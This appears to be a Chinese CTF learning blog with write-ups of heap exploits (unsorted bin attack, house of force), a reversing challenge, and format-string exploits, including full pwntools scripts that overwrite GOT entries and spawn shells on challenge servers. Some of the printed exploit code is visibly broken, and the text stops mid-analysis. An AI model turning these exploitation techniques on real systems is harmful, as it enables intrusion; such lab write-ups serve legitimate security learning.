unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}

edit函数没检查修改的chunk的大小可以进行对下一个堆的覆盖。

攻击思路:

  1. 先申请三个堆块,chunk0,chunk1,chunk2; chunk0用来改chunk1,chunk2用来隔开top_chunk
  2. 将chunk1的bk改成magic的地址-0x10
  3. 我们把chunk1放入unsorted bin,然后再申请一样大小的堆,就可以将magic改成一个很大的值。

攻击原理:利用 malloc 从 Unsorted Bin 中取出一个 chunk(称为 victim)时,对 Unsorted Bin 双向链表进行的拆链操作。通过篡改 victim->bk 指针,欺骗分配器,让它错误地更新链表,从而将 target 地址误认为是链表中的一个合法 chunk 的起始位置(chunk header),并将 main_arena 中指向 Unsorted Bin 的指针写入这个“伪造 chunk”的 fd 字段。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import * 
count=1
gdb_flag=0
if count==0:
r=process('./pwn')
else:
r=remote('pwn.challenge.ctf.show',28127)
if gdb_flag==1:
gdb.attach(io)
def cmd(x):
r.recvuntil(b'Your choice :')
r.sendline(str(x))
def add(size,data):
cmd(1)
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap:')
r.sendline(data)
def delete(index):
cmd(3)
r.recvuntil(b'Index :')
r.sendline(str(index))
def edit(index,size,data):
cmd(2)
r.recvuntil(b'Index :')
r.sendline(str(index))
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap : ')
r.send(data)
add(0x80,b'aaaa')
add(0x80,b'bbbb')
add(0x80,b'cccc')
delete(1)
target=0x6020a0
payload=b'x'*(0x90-0x10)+p64(0)+p64(0x91)+p64(0)+p64(target-0x10)
edit(0,len(payload),payload)
add(0x80,b'dddd')
cmd(114514)
r.interactive()
1
2
gdb.attach(r)
pause #可以加这个调试看看,这里就不演示了

house of force

原理:

  1. 核心目标: 将 Top Chunk 移动到任意可控地址,从而允许后续从该地址分配“堆块”,实现对该地址及其之后内存的任意读写。
  2. 攻击原理: 利用 malloc 在从 Top Chunk 分配内存时,仅根据用户请求的大小 nb 和当前 Top Chunk 的大小 top_size 来更新 Top Chunk 位置的机制(new_top = old_top + nb)。通过篡改 Top Chunk 的 size 字段为一个极大值(通常是 -1,即 0xFFFFFFFFFFFFFFFF),并精心构造一个超大的 nb,使得计算出的 new_top 指向攻击者期望的目标地址。
  3. 使用前提:
    1. 堆块大小控制自由: 攻击者能够申请任意大小的堆块(malloc(nb) 中的 nb 可以非常大)。
    2. Top Chunk Size 篡改: 存在漏洞(通常是堆溢出)允许攻击者覆盖 Top Chunk 的 size 字段,将其修改为一个极大的值(例如 0xFFFFFFFFFFFFFFFF)。
    3. 地址信息已知(通常需要):攻击者需要知道:
      • 当前 Top Chunk 的地址 (old_top):用于计算所需的偏移量。
      • 目标地址 (target_addr): 希望将 Top Chunk 移动到的地址。
    4. 特殊情况 - 仅需偏移量: 如果目标地址 (target_addr) 本身位于堆内存区域内(例如,想要覆盖堆上的某个特定结构体或指针),那么攻击者不一定需要知道 old_top 和 target_addr 的绝对地址。只需要知道它们之间的偏移量 (offset = target_addr - old_top) 即可。这在某些堆布局已知或可控的场景下是可行的。

例题:

ctfshow pwn143

edit()存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
int v2; // [rsp+10h] [rbp-20h]
char buf[8]; // [rsp+18h] [rbp-18h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020A8 + 2 * v1) )
{
printf("Please enter the length of name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name:");
*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * v1) + (int)read(0, *((void **)&unk_6020A8 + 2 * v1), v2)) = 0;
}
else
{
puts("Invaild index");
}
}
else
{
puts("Nothing here~");
}
return __readfsqword(0x28u) ^ v5;
}

这个edit函数没有检查输入长度的大小,完全由自己决定,存在堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn fffffffffffffffffffffffffffffffffflag()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

存在后门函数。

所以我利用堆溢出,把top_chunk的size改成极大值,再把v4[1]的地址换成后门函数的地址就可以得到flag了,(为什么是v4[1]呢,因为

执行edit前都会执行v4[1],把v4[1]的地址换成后门函数的地址,就可以执行后门函数了)。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# 设置运行环境
context(arch='amd64', os='linux', log_level='debug')

# 三种连接方式,按需启用
p = remote('pwn.challenge.ctf.show', 28219) # 远程连接
#p = process('./pwn') # 本地运行
# p = gdb.debug('./pwn', 'b main') # GDB调试

# 加载二进制文件
elf = ELF('./pwn')
# 获取flag符号的地址(目标覆盖地址)
flag_addr = elf.sym['fffffffffffffffffffffffffffffffffflag']

def menu(index):
p.sendlineafter('Your choice:', str(index))

def add(length, content):
menu(2)
p.sendlineafter('Please enter the length:', str(length))
p.sendlineafter('Please enter the name:', content)

def edit(index, length, content):
menu(3)
p.sendlineafter('Please enter the index:', str(index))
p.sendlineafter('Please enter the length of name:', str(length))
p.sendlineafter('Please enter the new name:', content)

def delete(index):
menu(4)
p.sendlineafter('Please enter the index:', str(index))

def exit_prog():
menu(5)

# ===== 漏洞利用流程 =====

# 1. 创建初始chunk
add(0x30, 'chunk0') # 分配0x40大小的chunk(含头部)

# 2. 修改top chunk大小
# 覆盖top chunk的size字段为极大值(0xFFFFFFFFFFFFFFFF)
# 布局: [chunk0数据(0x30)] + [填充(0x8)] + [size字段(0x8)]
payload = b'A'*0x38 + p64(0xffffffffffffffff)
edit(0, len(payload), payload)

# 3. 计算负偏移实现指针回退
# 偏移计算: flag_addr - (top_chunk_addr + 0x10)
# 实际计算: -(0x60 + 0x8 + 0xf) = -0x77 (需根据实际调试调整)
offset = -(0x60 + 0x8 + 0xf)
add(offset, 'trigger') # 申请负大小chunk触发整数溢出

# 4. 在目标地址分配chunk
# 此时top chunk指针已回退到flag_addr附近
# 分配0x10大小的chunk,其数据区将位于flag_addr处
add(0x10, p64(flag_addr)*2) # 用flag地址覆盖目标内存

# 5. 触发flag读取
exit_prog() # 退出程序(可能触发flag输出)

# 获取交互控制权
p.interactive()

再动调中更容易理解

add(0x30, ‘chunk0’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21) //v4

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41) //add(0x30, 'chunk0')

Top chunk | PREV_INUSE
Addr: 0x91fd2f0
Size: 0x20d10 (with flag bits: 0x20d11)
1
2
3
4
5
pwndbg> x/30gx 0x91fd290
0x91fd290: 0x0000000000000000 0x0000000000000021
0x91fd2a0: 0x0000000000400857 0x0000000000400876
0x91fd2b0: 0x0000000000000000 0x0000000000000041
0x91fd2c0: 0x000a306b6e75686 0x0000000000000000 //chunk0
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x0400857
00:0000│ 0x400857 (hello_message) ◂— push rbp //hello_message起始地址
01:0008│ 0x40085f (hello_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400867 (hello_message+16) ◂— lea rdi, [rip + 0x823]
03:0018│ 0x40086f (hello_message+24) ◂— pop rbp
04:0020│ 0x400877 (goodbye_message+1) ◂— mov rbp, rsp
05:0028│ 0x40087f (goodbye_message+9) ◂— add byte ptr [rax], al
06:0030│ 0x400887 (goodbye_message+17) ◂— pop rbp
07:0038│ 0x40088f (menu+6) ◂— cmp eax, 0x82d
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x400876
00:0000│ 0x400876 (goodbye_message) ◂— push rbp //goodbye_message起始地址
01:0008│ 0x40087e (goodbye_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400886 (goodbye_message+16) ◂— nop
03:0018│ 0x40088e (menu+5) ◂— lea edi, [rip + 0x82d]
04:0020│ 0x400896 (menu+13) ◂— 0x83e3d8d48fffffe
05:0028│ 0x40089e (menu+21) ◂— add byte ptr [rax], al
06:0030│ 0x4008a6 (menu+29) ◂— lea edi, [rip + 0x815]
07:0038│ 0x4008ae (menu+37) ◂— 0x8433d8d48fffffe

edit(0, len(payload), payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41)

Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x91fd2f0
Size: 0xfffffffffffffff8 (with flag bits: 0xffffffffffffffff) //top_chunk的size改变了

由于我的libc版本较高,检查到堆溢出可能就崩掉了就无法继续了。远程可以打通

这里我就接着解释一些数据怎么来的

1
2
3
4
0x30:这个没什么要求换成其他数据也可以
0x38: 0x91fd2f0 - 0x91fd2b0 = 0x40,0x40 - 0x16(chunk0的header) + 0x08(top的pre_size) = 0x30
-(0x60 + 0x8 + 0xf):0x91fd2f0 - 0x91fd290 = 0x60,top和v4的header的距离 ,0x8 + 0xf和强制对齐有关
0x10:v4[0]和v4[1]正好0x10,换成比0x10大的数据都可以

强制对齐操作的公式是

1
nb = ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK
  • **req**:用户调用 malloc(req) 时申请的数据大小(即用户需要的内存字节数)。

  • **SIZE_SZ**:在 64 位系统中为 0x8(表示 sizeof(size_t))。它常被理解为 chunk 头部(header)大小的一部分,但实际上,header 总大小为 2 * SIZE_SZ = 0x10 字节(包括 prev_size 和 size 字段)。

  • **MALLOC_ALIGN_MASK**:在 64 位系统中为 0xf(十六进制),对应内存对齐掩码。内存对齐要求通常是 16 字节(即 MALLOC_ALIGN = 16),所以掩码为 16 - 1 = 15(即 0xf)。

  • **nb**:输出的值,表示实际分配的 chunk 总大小(包括 header 和用户数据区域)。

  • offset = -0x77 对应 malloc 参数为 0xffffffffffffff89

  • 对齐后实际分配大小:(0xffffffffffffff89 + 8 + 15) & ~15 = 0xffffffffffffffa0

  • 使top chunk回退 0x60 字节

开始网鼎杯的jocker学习

1

修复sp

2

3

4

可是encrypt函数还是进不去

5

这是个smc动调解密函数,进入函数后从text:00401500的定义头道endp进行u(undefine)再在定义头p重定义函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __cdecl __noreturn encrypt(char *a1)
{
int v1[19]; // [esp+1Ch] [ebp-6Ch] BYREF
int v2; // [esp+68h] [ebp-20h]
int i; // [esp+6Ch] [ebp-1Ch]

v2 = 1;
qmemcpy(v1, &unk_403040, sizeof(v1));
for ( i = 0; i <= 18; ++i )
{
if ( (char)(a1[i] ^ Buffer[i]) != v1[i] )
{
puts("wrong ~");
v2 = 0;
exit(0);
}
}
puts("come here");
}

得到加密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 预定义的 unk_403040 数组
unk_403040 = [
0x0E, 0x0D, 0x09,
0x06, 0x13,
0x05, 0x58, 0x56,
0x3E, 0x06,
0x0C, 0x3C, 0x1F,
0x57, 0x14,
0x6B, 0x57, 0x59,
0x0D
]

# Buffer 字符串
buffer_str = 'hahahaha_do_you_find_me?'
# 解密过程
decrypted = ''
for i in range(len(unk_403040)):
# 异或操作
decrypted_char = chr(unk_403040[i] ^ ord(buffer_str[i]))
decrypted += decrypted_char

print("Decrypted string:", decrypted)
#Decrypted string: flag{d07abccf8a410c

得到了一半flag,我们刚刚分析的时候有个finally的函数进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl finally(char *a1)
{
unsigned int v1; // eax
__time32_t *Time; // [esp+0h] [ebp-28h]
char v4[9]; // [esp+13h] [ebp-15h] BYREF
int v5; // [esp+1Ch] [ebp-Ch]

strcpy(v4, "%tp&:");
v1 = time(0);
srand(v1);
v5 = rand() % 100;
v4[6] = 0;
*(_WORD *)&v4[7] = 0;
if ( (v4[(unsigned __int8)v4[5]] != a1[(unsigned __int8)v4[5]]) == v5 )
return puts((const char *)Time);
else
return puts("I hide the last part, you will not succeed!!!");
}

根据最后一个字符 ‘}’ 猜测

1
2
3
4
5
6
7
8
9
10
11
12
13
encrypted = "%tp&:"
known_plaintext = '}'
known_ciphertext = encrypted[-1] # ':'

# 计算异或密钥
key = ord(known_ciphertext) ^ ord(known_plaintext)
print(f"找到密钥: {key}")

# 解密整个字符串
decrypted = ''.join(chr(ord(c) ^ key) for c in encrypted)
print(f"解密后的字符串: {decrypted}")
#找到密钥: 71
#解密后的字符串: b37a}
1
flag{d07abccf8a410cb37a}

进行格式化字符串专题的加强,先写一个题目,再重温一下知识点进行总结一下。

TGCTF fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome TGCTF!");
printf("your gift %p\n", buf); //泄露出
puts("please tell me your name");
read(0, buf, 0x30uLL); //没有栈溢出
if ( magic == 1131796 )
{
printf(buf); //存在格式化字符串漏洞
magic = 0;
}
return 0;
}

只有一个格式化字符串漏洞,也只有一个读入。先去查看一下保护

1
2
3
4
5
6
7
8
9
10
(myenv) linkpwn@linkpwn-VMware-Virtual-Platform:~$ checksec pwn
[*] '/home/linkpwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

没有开启pie,canary开启了,但是我们没用到栈溢出,所以我们不用管canary

因此这个题目的攻击思路就是,先利用格式化字符串泄露libc的基地址,然后再利用one_gadget.。

首先我们利用格式化字符串泄露libc的地址,同时也要利用格式化字符串写入one_gadget。

要利用两次格式化字符串的话,我们就不能让函数执行到 magic = 0;,所以我们必须把printf_ret的地址覆盖为read的地址,方便下次

的读入。

泄露出libc_start_main+xxx的地址可以计算出libc的基地址。

再用one_get工具查出execve(/bin/sh)的偏移,在用格式化字符串漏洞将返回地址写成execve(/bin/sh)的地址就可以getshell了

现在开始正式开始攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# ================ 配置与初始化 ================
context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn') # 本地调试
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

# ================ 泄露栈地址 ================
io.recvuntil(b'0x')
stack_addr = int(io.recv(12), 16)
info(f"Stack address: {hex(stack_addr)}")

# ================ 第一次格式化字符串攻击:泄露 libc 地址 ================
payload = b"%4669c%11$hn" # 控制写入低 2 字节
payload += b"%19$p" # 泄露 __libc_start_main 地址
payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) # 写入到 stack_addr - 8 的位置

io.send(payload)

# 接收泄露的 libc 地址
io.recvuntil(b'0x')
leaked_libc = int(io.recv(12), 16)
libc_base = leaked_libc - 122 - libc.sym['__libc_start_main']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")

# ================ 准备 one_gadget 并进行第二次格式化字符串写入 ================
one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF
high = (one_gadget >> 16) & 0xFFFF

payload = f"%{low}c%10$hn".encode()
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode()
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分

io.send(payload)

# ================ 获取 Flag ================
io.sendline(b'cat f*')
io.interactive()
1
2
3
4
payload = b"%4669c%11$hn"          #hex(4669) = 0x123d -->read地址的后两字节
payload += b"%19$p" #泄露libc_start_main+地址
payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) #p64(stack_addr - 8)---->printf的返回地址

1

1

可以看到0x7fffffffdd08 = 0x7fffffffdd10 - 0x08从而定位printf_ret的地址。

然后我们可以看到libc_start_main+122的地址在栈上的位置;

0x7fffffffdd78 - 0x7fffffffdd10 = 104,104/8 = 13,此时我们用%19$p就可以泄露出libc_start_main+122的地址,再减去122就可以得到

libc_start_main地址,再用libc_start_main减去偏移就可以得到基地地址了。

然后再%4669c%11$hn进行两字节的写入。将printf_ret的地址改成read的地址。

用one_gdaget命令查execve(/bin/sh)的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
linkpwn@linkpwn-VMware-Virtual-Platform:~$ one_gadget libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF #低16位的两个字节
high = (one_gadget >> 16) & 0xFFFF #高16位的两个字节

payload = f"%{low}c%10$hn".encode() #把低16位的两个字节写入偏移为10的位置
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode() #把高16位的两个字节写入偏移为11的位置
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移 偏移为10的位置
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分 偏移为11的位置

注释:11是怎么算出来的

1
2
3
4
5
6
linkpwn@linkpwn-VMware-Virtual-Platform:~$ ./pwn
Welcome TGCTF!
your gift 0x7ffeec1ae9c0
please tell me your name
aaaa %p %p %p %p %p %p %p %p %p
aaaa 0x7ffeec1ae9c0 0x30 0x7c484851ba61 0x18 (nil) 0x2070252061616161 0x7025207025207025 0x2520702520702520 0xa70252070252070

偏移是6,0x28/8 = 5,5 + 6 =11;

level3

写完这题就来总结一下格式化字符串的原理。

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]

v5 = __readfsqword(0x28u);
((void (__fastcall *)(int, const char **, const char **))init)(argc, argv, envp);
puts("-----");
read(0, buf, 0x110uLL);
printf(buf); //只有唯一的一个格式化字符串的漏洞,所以我们要构造一个循环
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:000000000040121B ; __unwind {
.text:000000000040121B endbr64
.text:000000000040121F push rbp
.text:0000000000401220 mov rbp, rsp
.text:0000000000401223 sub rsp, 110h
.text:000000000040122A mov rax, fs:28h
.text:0000000000401233 mov [rbp+var_8], rax
.text:0000000000401237 xor eax, eax
.text:0000000000401239 mov eax, 0
.text:000000000040123E call init
.text:0000000000401243 lea rax, s ; "-----"
.text:000000000040124A mov rdi, rax ; s
.text:000000000040124D call _puts
.text:0000000000401252 lea rax, [rbp+buf]
.text:0000000000401259 mov edx, 110h ; nbytes
.text:000000000040125E mov rsi, rax ; buf
.text:0000000000401261 mov edi, 0 ; fd
.text:0000000000401266 call _read
.text:000000000040126B lea rax, [rbp+buf]
.text:0000000000401272 mov rdi, rax ; format
.text:0000000000401275 mov eax, 0
.text:000000000040127A call _printf
.text:000000000040127F mov eax, 0
.text:0000000000401284 mov rdx, [rbp+var_8]
.text:0000000000401288 sub rdx, fs:28h
.text:0000000000401291 jz short locret_401298
.text:0000000000401293 call ___stack_chk_fail

我们看到了call ___stack_chk_fail,这个是关键。

为什么会有这个呢? —–>因为开启了canary

1
2
3
4
5
6
7
8
9
Arch:       amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

查看保护,开启了canary。

利用格式化字符串的任意位置的篡改,我们就可以将 ___stack_chk_fail篡改为main的地址,这样就会进入无限循环

我们先去找到main和___stack_chk_fail的got地址,在篡改的同时还可以利用printf_got泄露printf的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')
1
2
3
4
-----
aaaa %p %p %p %p %p %p %p %p
aaaa 0x7ffcf57781d0 0x110 0x7a8a8171ba61 0x5 0x7a8a81904380 0x2070252061616161 0x7025207025207025 0x2520702520702520
#偏移为6

执行这个payload就进入无限循环了,并且泄漏量printf的地址。

根据print的地址,计算出libc的基地址。

此时我就要再次利用格式化字符串,将printf_got的地址改成system的地址,在发送/bin/sh就能获取shell。

1
2
3
4
5
6
io.recvuntil(b"---b")  
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")
1
2
3
4
5
6
7
8
payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")
1
io.sendline(b'/bin/sh')

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn')
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')

io.recvuntil(b"---b")
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")

payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")

io.sendline(b'/bin/sh')
io.interactive()

Unictf speak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rax
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+108h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
init_seccomp();
register_name();
printf(welcome);
memset(s, 0, 0x100uLL);
read(0, s, 0x100uLL);
printf(s);
v3 = sys_exit(0);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
__int64 init_seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(2147418112LL);
strcpy(welcome, "attempt to speak something:\n");
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_load(v1);
return seccomp_release(v1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 register_name()
{
char s[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(s, 0, 0x30uLL);
printf("Input your name: ");
read(0, s, 0x30uLL);
s[48] = 0;
strcpy(name, s);
fflush(_bss_start);
return v2 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.bss:0000000000004020 _bss            segment align_32 public 'BSS' use64
.bss:0000000000004020 assume cs:_bss
.bss:0000000000004020 ;org 4020h
.bss:0000000000004020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000004020 public __bss_start
.bss:0000000000004020 ; FILE *_bss_start
.bss:0000000000004020 __bss_start dq ? ; DATA XREF: LOAD:0000000000000568↑o
.bss:0000000000004020 ; register_name+75↑r ...
.bss:0000000000004020 ; Alternative name is 'stdout'
.bss:0000000000004020 ; stdout@GLIBC_2.2.5
.bss:0000000000004020 ; Copy of shared data
.bss:0000000000004028 align 10h
.bss:0000000000004030 public stdin@GLIBC_2_2_5
.bss:0000000000004030 ; FILE *stdin
.bss:0000000000004030 stdin@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000000598↑o
.bss:0000000000004030 ; main+1E↑r
.bss:0000000000004030 ; Alternative name is 'stdin'
.bss:0000000000004030 ; Copy of shared data
.bss:0000000000004038 align 20h
.bss:0000000000004040 public stderr@GLIBC_2_2_5
